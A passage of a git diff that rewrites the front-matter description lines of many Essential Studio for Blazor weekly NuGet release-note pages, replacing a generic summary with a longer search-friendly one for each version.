 title: Essential Studio for Blazor Weekly Nuget Release Notes - v21.1.41  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v21.1.41, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/21.2.10.md b/blazor/Release-Notes/21.2.10.md
index cfa7305431..a106119645 100644
--- a/blazor/Release-Notes/21.2.10.md
+++ b/blazor/Release-Notes/21.2.10.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v21.2.10 
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v21.2.10, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/21.2.4.md b/blazor/Release-Notes/21.2.4.md
index 3c94ef438c..71eab37740 100644
--- a/blazor/Release-Notes/21.2.4.md
+++ b/blazor/Release-Notes/21.2.4.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v21.2.4  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v21.2.4, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/21.2.5.md b/blazor/Release-Notes/21.2.5.md
index e0d96e6fdd..e29fa70661 100644
--- a/blazor/Release-Notes/21.2.5.md
+++ b/blazor/Release-Notes/21.2.5.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v21.2.5  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v21.2.5, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/21.2.6.md b/blazor/Release-Notes/21.2.6.md
index 6c21ac8857..1322241701 100644
--- a/blazor/Release-Notes/21.2.6.md
+++ b/blazor/Release-Notes/21.2.6.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v21.2.6  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v21.2.6, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/21.2.8.md b/blazor/Release-Notes/21.2.8.md
index 3a1add90cb..86c2834516 100644
--- a/blazor/Release-Notes/21.2.8.md
+++ b/blazor/Release-Notes/21.2.8.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v21.2.8
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v21.2.8, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/21.2.9.md b/blazor/Release-Notes/21.2.9.md
index a7f94b1995..cef64ee562 100644
--- a/blazor/Release-Notes/21.2.9.md
+++ b/blazor/Release-Notes/21.2.9.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v21.2.9
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v21.2.9, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/22.1.39.md b/blazor/Release-Notes/22.1.39.md
index 373bf4ed46..9acfcf62c5 100644
--- a/blazor/Release-Notes/22.1.39.md
+++ b/blazor/Release-Notes/22.1.39.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v22.1.39  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v22.1.39, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/22.2.10.md b/blazor/Release-Notes/22.2.10.md
index 9403cfc201..26cd55f654 100644
--- a/blazor/Release-Notes/22.2.10.md
+++ b/blazor/Release-Notes/22.2.10.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v22.2.10 
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v22.2.10, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/22.2.11.md b/blazor/Release-Notes/22.2.11.md
index 543a798524..06860d1034 100644
--- a/blazor/Release-Notes/22.2.11.md
+++ b/blazor/Release-Notes/22.2.11.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v22.2.11  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v22.2.11, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/22.2.12.md b/blazor/Release-Notes/22.2.12.md
index be6bc81f99..eba7a5f1c3 100644
--- a/blazor/Release-Notes/22.2.12.md
+++ b/blazor/Release-Notes/22.2.12.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v22.2.12 
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v22.2.12, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/22.2.7.md b/blazor/Release-Notes/22.2.7.md
index a4bd8eec81..0c5d938f4a 100644
--- a/blazor/Release-Notes/22.2.7.md
+++ b/blazor/Release-Notes/22.2.7.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v22.2.7  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v22.2.7, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/22.2.8.md b/blazor/Release-Notes/22.2.8.md
index 16bcd870d7..7199ddb002 100644
--- a/blazor/Release-Notes/22.2.8.md
+++ b/blazor/Release-Notes/22.2.8.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v22.2.8  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v22.2.8, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/22.2.9.md b/blazor/Release-Notes/22.2.9.md
index 825af7ce1a..760f365398 100644
--- a/blazor/Release-Notes/22.2.9.md
+++ b/blazor/Release-Notes/22.2.9.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v22.2.9  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v22.2.9, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/23.1.38.md b/blazor/Release-Notes/23.1.38.md
index 420da734e9..16abdf4e3f 100644
--- a/blazor/Release-Notes/23.1.38.md
+++ b/blazor/Release-Notes/23.1.38.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v23.1.38  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v23.1.38, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/23.1.39.md b/blazor/Release-Notes/23.1.39.md
index 94e0f7091e..7b3e1bcfeb 100644
--- a/blazor/Release-Notes/23.1.39.md
+++ b/blazor/Release-Notes/23.1.39.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v23.1.39  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v23.1.39, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/23.1.40.md b/blazor/Release-Notes/23.1.40.md
index 949c23b2df..78af15c54a 100644
--- a/blazor/Release-Notes/23.1.40.md
+++ b/blazor/Release-Notes/23.1.40.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v23.1.40  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v23.1.40, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/23.1.41.md b/blazor/Release-Notes/23.1.41.md
index e5c805b82d..3f703f0fc9 100644
--- a/blazor/Release-Notes/23.1.41.md
+++ b/blazor/Release-Notes/23.1.41.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v23.1.41  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v23.1.41, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/23.1.42.md b/blazor/Release-Notes/23.1.42.md
index 49cd4c57fd..76f02303ac 100644
--- a/blazor/Release-Notes/23.1.42.md
+++ b/blazor/Release-Notes/23.1.42.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v23.1.42  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v23.1.42, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/23.1.43.md b/blazor/Release-Notes/23.1.43.md
index 9cdeb99b04..84ffa81a4f 100644
--- a/blazor/Release-Notes/23.1.43.md
+++ b/blazor/Release-Notes/23.1.43.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v23.1.43  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v23.1.43, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/23.1.44.md b/blazor/Release-Notes/23.1.44.md
index f697665c0c..15c7569ba8 100644
--- a/blazor/Release-Notes/23.1.44.md
+++ b/blazor/Release-Notes/23.1.44.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v23.1.44  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v23.1.44, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/23.2.5.md b/blazor/Release-Notes/23.2.5.md
index c4ff595e78..94581e006f 100644
--- a/blazor/Release-Notes/23.2.5.md
+++ b/blazor/Release-Notes/23.2.5.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v23.2.5  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v23.2.5, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/23.2.6.md b/blazor/Release-Notes/23.2.6.md
index e4b8da675d..6376b41c5d 100644
--- a/blazor/Release-Notes/23.2.6.md
+++ b/blazor/Release-Notes/23.2.6.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v23.2.6  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v23.2.6, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/23.2.7.md b/blazor/Release-Notes/23.2.7.md
index 5e3ced10ca..04c1874f18 100644
--- a/blazor/Release-Notes/23.2.7.md
+++ b/blazor/Release-Notes/23.2.7.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v23.2.7  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v23.2.7, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/24.1.43.md b/blazor/Release-Notes/24.1.43.md
index 0925ba24e9..682a8c9e0b 100644
--- a/blazor/Release-Notes/24.1.43.md
+++ b/blazor/Release-Notes/24.1.43.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v24.1.43  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes 
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v24.1.43, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/24.1.44.md b/blazor/Release-Notes/24.1.44.md
index 17cfa13293..a0b36e1da0 100644
--- a/blazor/Release-Notes/24.1.44.md
+++ b/blazor/Release-Notes/24.1.44.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v24.1.44  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v24.1.44, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/24.1.45.md b/blazor/Release-Notes/24.1.45.md
index 31a58e6f8d..4ced1b5405 100644
--- a/blazor/Release-Notes/24.1.45.md
+++ b/blazor/Release-Notes/24.1.45.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v24.1.45  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v24.1.45, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/24.1.46.md b/blazor/Release-Notes/24.1.46.md
index 6d6e5b305b..275a369907 100644
--- a/blazor/Release-Notes/24.1.46.md
+++ b/blazor/Release-Notes/24.1.46.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v24.1.46  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v24.1.46, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/24.1.47.md b/blazor/Release-Notes/24.1.47.md
index 7326266f25..b98df41fce 100644
--- a/blazor/Release-Notes/24.1.47.md
+++ b/blazor/Release-Notes/24.1.47.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v24.1.47  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v24.1.47, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/24.2.4.md b/blazor/Release-Notes/24.2.4.md
index b8eb966800..17784b4d10 100644
--- a/blazor/Release-Notes/24.2.4.md
+++ b/blazor/Release-Notes/24.2.4.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v24.2.4  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v24.2.4, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/24.2.5.md b/blazor/Release-Notes/24.2.5.md
index 969bb0ba01..c28939d7f4 100644
--- a/blazor/Release-Notes/24.2.5.md
+++ b/blazor/Release-Notes/24.2.5.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v24.2.5  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v24.2.5, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/24.2.6.md b/blazor/Release-Notes/24.2.6.md
index 8829bd9203..0390c56fd6 100644
--- a/blazor/Release-Notes/24.2.6.md
+++ b/blazor/Release-Notes/24.2.6.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v24.2.6  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v24.2.6, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/24.2.7.md b/blazor/Release-Notes/24.2.7.md
index 1b222ff700..f8073c7c59 100644
--- a/blazor/Release-Notes/24.2.7.md
+++ b/blazor/Release-Notes/24.2.7.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v24.2.7  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v24.2.7, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/24.2.8.md b/blazor/Release-Notes/24.2.8.md
index e282c6f7a6..80a17b43e4 100644
--- a/blazor/Release-Notes/24.2.8.md
+++ b/blazor/Release-Notes/24.2.8.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v24.2.8  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v24.2.8, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/24.2.9.md b/blazor/Release-Notes/24.2.9.md
index d86d42ec10..04f9447411 100644
--- a/blazor/Release-Notes/24.2.9.md
+++ b/blazor/Release-Notes/24.2.9.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v24.2.9  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v24.2.9, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/25.1.37.md b/blazor/Release-Notes/25.1.37.md
index fbbb15b327..9b6a6172a7 100644
--- a/blazor/Release-Notes/25.1.37.md
+++ b/blazor/Release-Notes/25.1.37.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v25.1.37  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v25.1.37, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/25.1.38.md b/blazor/Release-Notes/25.1.38.md
index 7547a111a4..a5ce4bd3fd 100644
--- a/blazor/Release-Notes/25.1.38.md
+++ b/blazor/Release-Notes/25.1.38.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v25.1.38  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v25.1.38, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/25.1.39.md b/blazor/Release-Notes/25.1.39.md
index 0aeff47495..b8a4b4aadb 100644
--- a/blazor/Release-Notes/25.1.39.md
+++ b/blazor/Release-Notes/25.1.39.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v25.1.39  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v25.1.39, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/25.1.40.md b/blazor/Release-Notes/25.1.40.md
index 0d202e592e..6b105edf6c 100644
--- a/blazor/Release-Notes/25.1.40.md
+++ b/blazor/Release-Notes/25.1.40.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v25.1.40  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v25.1.40, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/25.1.41.md b/blazor/Release-Notes/25.1.41.md
index 2faf45cfac..8bee4a2194 100644
--- a/blazor/Release-Notes/25.1.41.md
+++ b/blazor/Release-Notes/25.1.41.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v25.1.41  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v25.1.41, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/25.1.42.md b/blazor/Release-Notes/25.1.42.md
index b72ffccef1..93c1cd547f 100644
--- a/blazor/Release-Notes/25.1.42.md
+++ b/blazor/Release-Notes/25.1.42.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v25.1.42  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v25.1.42, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/25.2.4.md b/blazor/Release-Notes/25.2.4.md
index 7cf54470f5..ff062907fe 100644
--- a/blazor/Release-Notes/25.2.4.md
+++ b/blazor/Release-Notes/25.2.4.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v25.2.4  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v25.2.4, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/25.2.5.md b/blazor/Release-Notes/25.2.5.md
index 3deccd0df8..1432df08c9 100644
--- a/blazor/Release-Notes/25.2.5.md
+++ b/blazor/Release-Notes/25.2.5.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v25.2.5  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v25.2.5, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/25.2.6.md b/blazor/Release-Notes/25.2.6.md
index 107bb612a9..a70a1987f7 100644
--- a/blazor/Release-Notes/25.2.6.md
+++ b/blazor/Release-Notes/25.2.6.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v25.2.6  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v25.2.6, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/25.2.7.md b/blazor/Release-Notes/25.2.7.md
index 414afb13da..bff6aa2288 100644
--- a/blazor/Release-Notes/25.2.7.md
+++ b/blazor/Release-Notes/25.2.7.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v25.2.7  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v25.2.7, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/26.1.38.md b/blazor/Release-Notes/26.1.38.md
index 2f93c96452..571f7cdf5e 100644
--- a/blazor/Release-Notes/26.1.38.md
+++ b/blazor/Release-Notes/26.1.38.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v26.1.38  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v26.1.38, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/26.1.39.md b/blazor/Release-Notes/26.1.39.md
index 3e7d1e2efa..5e9b43db38 100644
--- a/blazor/Release-Notes/26.1.39.md
+++ b/blazor/Release-Notes/26.1.39.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v26.1.39  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v26.1.39, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/26.1.40.md b/blazor/Release-Notes/26.1.40.md
index 65b0f0f683..056ee38a5d 100644
--- a/blazor/Release-Notes/26.1.40.md
+++ b/blazor/Release-Notes/26.1.40.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v26.1.40  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v26.1.40, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/26.1.41.md b/blazor/Release-Notes/26.1.41.md
index c56cc6a944..e3a519ba9d 100644
--- a/blazor/Release-Notes/26.1.41.md
+++ b/blazor/Release-Notes/26.1.41.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v26.1.41  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v26.1.41, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/26.1.42.md b/blazor/Release-Notes/26.1.42.md
index 39dc04766f..eb04cece67 100644
--- a/blazor/Release-Notes/26.1.42.md
+++ b/blazor/Release-Notes/26.1.42.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v26.1.42  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v26.1.42, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/26.2.10.md b/blazor/Release-Notes/26.2.10.md
index ef689ce64c..a42500c011 100644
--- a/blazor/Release-Notes/26.2.10.md
+++ b/blazor/Release-Notes/26.2.10.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v26.2.10  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v26.2.10, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/26.2.11.md b/blazor/Release-Notes/26.2.11.md
index 081b29b5e5..94a91d51c8 100644
--- a/blazor/Release-Notes/26.2.11.md
+++ b/blazor/Release-Notes/26.2.11.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v26.2.11  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v26.2.11, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/26.2.12.md b/blazor/Release-Notes/26.2.12.md
index e85060a7f6..c02999f791 100644
--- a/blazor/Release-Notes/26.2.12.md
+++ b/blazor/Release-Notes/26.2.12.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v26.2.12  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v26.2.12, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/26.2.13.md b/blazor/Release-Notes/26.2.13.md
index 65a4c96e5e..74bafe7fc8 100644
--- a/blazor/Release-Notes/26.2.13.md
+++ b/blazor/Release-Notes/26.2.13.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v26.2.13  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v26.2.13, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/26.2.14.md b/blazor/Release-Notes/26.2.14.md
index b7d5a8e38b..796b4d18f7 100644
--- a/blazor/Release-Notes/26.2.14.md
+++ b/blazor/Release-Notes/26.2.14.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v26.2.14  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v26.2.14, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/26.2.5.md b/blazor/Release-Notes/26.2.5.md
index 20d1e74f9e..2bba550364 100644
--- a/blazor/Release-Notes/26.2.5.md
+++ b/blazor/Release-Notes/26.2.5.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v26.2.5  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
